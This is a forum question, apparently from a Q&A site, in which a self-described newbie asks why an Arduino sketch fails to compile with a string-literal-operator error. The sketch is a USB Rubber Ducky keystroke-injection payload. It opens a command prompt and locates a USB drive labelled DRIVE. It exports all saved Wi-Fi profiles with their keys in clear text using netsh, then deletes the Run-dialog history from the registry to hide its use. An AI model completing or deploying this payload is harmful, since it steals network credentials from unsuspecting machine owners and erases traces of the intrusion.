title: Arduino IDE telling me unable to find string literal operator 'operator""DRIVE'
body: <p>I am kinda a newbie and is new to Arduinos. I'm using the Arduino Micro as a USB Rubber Ducky.</p>
  
  <p>I tried to run this code:</p>
  
  <pre><code>#include &lt;Keyboard.h&gt;
  
  void setup() {
  
      delay(1000);
      Keyboard.begin();
      Keyboard.press(KEY_LEFT_GUI);
      Keyboard.press('r');
      Keyboard.releaseAll();
      delay(500);
  
      Keyboard.print("cmd");
      delay(1000);
  
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(500);
  
      Keyboard.print("mode con: cols=15 lines=1");
  
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(100);
  
      Keyboard.print("for /f %d in ('wmic volume get driveletter^, label^|");
      Keyboard.print("find");
      Keyboard.print("str");
      Keyboard.print(" "DRIVE"')");
      Keyboard.print(" do @set DRIVE=%d");
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(500);
  
      Keyboard.print("%DRIVE%");
  
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(100);
  
      Keyboard.print("cd Wi-Fi Passwords");
  
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(100);
  
      Keyboard.print("netsh wlan export profile key=clear");
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
      delay(1000);
  
      Keyboard.print("powershell Remove-ItemProperty -Path 'HKCU:/Software/Microsoft/Windows/CurrentVersion/Explorer/RunMRU' -Name '*' -ErrorAction SilentlyContinue");
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
  
      delay(1000);
      Keyboard.print("exit");
      Keyboard.press(KEY_RETURN);
      Keyboard.releaseAll();
  }
  
  void loop() {
    // put your main code here, to run repeatedly:
  
  }
  </code></pre>
  
  <p>However the compiler tells me this</p>
  
  <blockquote>
    <p>exit status 1 unable to find string literal operator 'operator""DRIVE'</p>
  </blockquote>
  
  <p>I don't know where to go from this.</p>